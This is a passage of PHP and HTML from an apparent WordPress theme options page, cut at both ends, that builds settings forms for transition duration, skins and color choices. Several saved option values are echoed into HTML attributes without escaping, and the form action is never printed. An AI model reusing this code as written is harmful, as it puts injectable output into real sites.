?>>fly-out</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDetermines the animation type for profile image.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Page Transition Duration</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$page_transition_duration = get_option( 'page_transition_duration', '1000' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( $page_transition_duration == \"\" )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$page_transition_duration = \"1000\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"page_transition_duration\" name=\"page_transition_duration\" maxlength=\"6\" size=\"6\" value=\"<?php echo $page_transition_duration; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span style=\"display: inline-block; font-size: 11px; color: #666666;\">Default: 1000</span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t3D page transition animation duration in miliseconds.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSample:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t2000 = 2 seconds\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\" class=\"button button-primary button-large\" value=\"Save Changes\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"settings-submit\" value=\"Y\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t<!-- end .inside -->\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<!-- end .postbox -->\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase 'style' :\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( esc_attr( @$_GET['saved'] ) == 'true' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"alert-success\" title=\"Click to close\"><p><strong>Saved.</strong></p></div>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<div class=\"postbox\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"inside\">\n\t\t\t\t\t\t\t\t\t\t\t<form class=\"ajax-form\" method=\"post\" action=\"<?php admin_url( 'themes.php?page=theme-options' ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\twp_nonce_field( \"settings-page\" );\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t<table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Base Skin</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$base_skin = get_option( 'base_skin' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"base_skin\" name=\"base_skin\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $base_skin == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $base_skin == 'dark-text' ) { echo 'selected=\"selected\"'; } ?>>dark-text</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $base_skin == 'light-text' ) { echo 'selected=\"selected\"'; } ?>>light-text</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Primary Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$primary_color = get_option( 'primary_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"primary_color\" name=\"primary_color\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'black' ) { echo 'selected=\"selected\"'; } ?>>black</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'blue' ) { echo 'selected=\"selected\"'; } ?>>blue</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'blue-aqua' ) { echo 'selected=\"selected\"'; } ?>>blue-aqua</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'blue-old' ) { echo 'selected=\"selected\"'; } ?>>blue-old</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'brown-coffee' ) { echo 'selected=\"selected\"'; } ?>>brown-coffee</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'denim' ) { echo 'selected=\"selected\"'; } ?>>denim</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'eggshell' ) { echo 'selected=\"selected\"'; } ?>>eggshell</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'fandango-pink' ) { echo 'selected=\"selected\"'; } ?>>fandango-pink</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'gainsboro' ) { echo 'selected=\"selected\"'; } ?>>gainsboro</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'gold' ) { echo 'selected=\"selected\"'; } ?>>gold</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'gray' ) { echo 'selected=\"selected\"'; } ?>>gray</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'green' ) { echo 'selected=\"selected\"'; } ?>>green</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'green-grass' ) { echo 'selected=\"selected\"'; } ?>>green-grass</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'green-light' ) { echo 'selected=\"selected\"'; } ?>>green-light</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'green-old' ) { echo 'selected=\"selected\"'; } ?>>green-old</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'lime' ) { echo 'selected=\"selected\"'; } ?>>lime</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'navy' ) { echo 'selected=\"selected\"'; } ?>>navy</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'orange' ) { echo 'selected=\"selected\"'; } ?>>orange</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'pink' ) { echo 'selected=\"selected\"'; } ?>>pink</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'pink-rose' ) { echo 'selected=\"selected\"'; } ?>>pink-rose</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'purple' ) { echo 'selected=\"selected\"'; } ?>>purple</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'red' ) { echo 'selected=\"selected\"'; } ?>>red</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'red-dark' ) { echo 'selected=\"selected\"'; } ?>>red-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'red-old' ) { echo 'selected=\"selected\"'; } ?>>red-old</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'timberwolf' ) { echo 'selected=\"selected\"'; } ?>>timberwolf</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'tufts-blue' ) { echo 'selected=\"selected\"'; } ?>>tufts-blue</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'white' ) { echo 'selected=\"selected\"'; } ?>>white</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'wild-blue' ) { echo 'selected=\"selected\"'; } ?>>wild-blue</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'yellow' ) { echo 'selected=\"selected\"'; } ?>>yellow</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $primary_color == 'yellow-light' ) { echo 'selected=\"selected\"'; } ?>>yellow-light</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Custom Primary Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$custom_primary_color = get_option( 'custom_primary_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $custom_primary_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"custom_primary_color\" name=\"custom_primary_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $custom_primary_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Menu Skin</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$menu_skin = get_option( 'menu_skin' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"menu_skin\" name=\"menu_skin\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $menu_skin == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $menu_skin == 'dark' ) { echo 'selected=\"selected\"'; } ?>>dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $menu_skin == 'dark-transparent' ) { echo 'selected=\"selected\"'; } ?>>dark-transparent</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $menu_skin == 'light-transparent' ) { echo 'selected=\"selected\"'; } ?>>light-transparent</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $menu_skin == 'white' ) { echo 'selected=\"selected\"'; } ?>>white</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Menu Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$menu_bg_color = get_option( 'menu_bg_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $menu_bg_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"menu_bg_color\" name=\"menu_bg_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $menu_bg_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Menu Hover Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$menu_hover_bg_color = get_option( 'menu_hover_bg_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $menu_hover_bg_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"menu_hover_bg_color\" name=\"menu_hover_bg_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $menu_hover_bg_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Menu Shadow Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$menu_shadow_color = get_option( 'menu_shadow_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\"><div style=\"background-color: #<?php echo stripcslashes( $menu_shadow_color ); ?>;\"></div></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"menu_shadow_color\" name=\"menu_shadow_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $menu_shadow_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$background_color = get_option( 'background_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"background_color\" name=\"background_color\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'black' ) { echo 'selected=\"selected\"'; } ?>>black</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'blue' ) { echo 'selected=\"selected\"'; } ?>>blue</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'blue-aqua' ) { echo 'selected=\"selected\"'; } ?>>blue-aqua</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'blue-cold' ) { echo 'selected=\"selected\"'; } ?>>blue-cold</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'blue-dark' ) { echo 'selected=\"selected\"'; } ?>>blue-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'blue-soft' ) { echo 'selected=\"selected\"'; } ?>>blue-soft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'blue-softer' ) { echo 'selected=\"selected\"'; } ?>>blue-softer</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'brown-coffee' ) { echo 'selected=\"selected\"'; } ?>>brown-coffee</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'brown-soft' ) { echo 'selected=\"selected\"'; } ?>>brown-soft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'grainsboro' ) { echo 'selected=\"selected\"'; } ?>>grainsboro</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'gray' ) { echo 'selected=\"selected\"'; } ?>>gray</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'gray-light' ) { echo 'selected=\"selected\"'; } ?>>gray-light</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'green' ) { echo 'selected=\"selected\"'; } ?>>green</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'green-dark' ) { echo 'selected=\"selected\"'; } ?>>green-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'green-soft' ) { echo 'selected=\"selected\"'; } ?>>green-soft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'lime' ) { echo 'selected=\"selected\"'; } ?>>lime</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'orange' ) { echo 'selected=\"selected\"'; } ?>>orange</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'orange-dark' ) { echo 'selected=\"selected\"'; } ?>>orange-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'orange-strong' ) { echo 'selected=\"selected\"'; } ?>>orange-strong</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'pink' ) { echo 'selected=\"selected\"'; } ?>>pink</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'pink-dark' ) { echo 'selected=\"selected\"'; } ?>>pink-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'pink-soft' ) { echo 'selected=\"selected\"'; } ?>>pink-soft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'purple' ) { echo 'selected=\"selected\"'; } ?>>purple</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'purple-light' ) { echo 'selected=\"selected\"'; } ?>>purple-light</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'red' ) { echo 'selected=\"selected\"'; } ?>>red</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'red-dark' ) { echo 'selected=\"selected\"'; } ?>>red-dark</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'red-old' ) { echo 'selected=\"selected\"'; } ?>>red-old</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'yellow' ) { echo 'selected=\"selected\"'; } ?>>yellow</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $background_color == 'yellow-soft' ) { echo 'selected=\"selected\"'; } ?>>yellow-soft</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSelect.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Custom Background Color</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$custom_background_color = get_option( 'custom_background_color' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"color-selector\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div style=\"background-color: #<?php echo stripcslashes( $custom_background_color ); ?>;\"></div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"custom_background_color\" name=\"custom_background_color\" class=\"color\" maxlength=\"6\" size=\"6\" value=\"<?php echo stripcslashes( $custom_background_color ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td 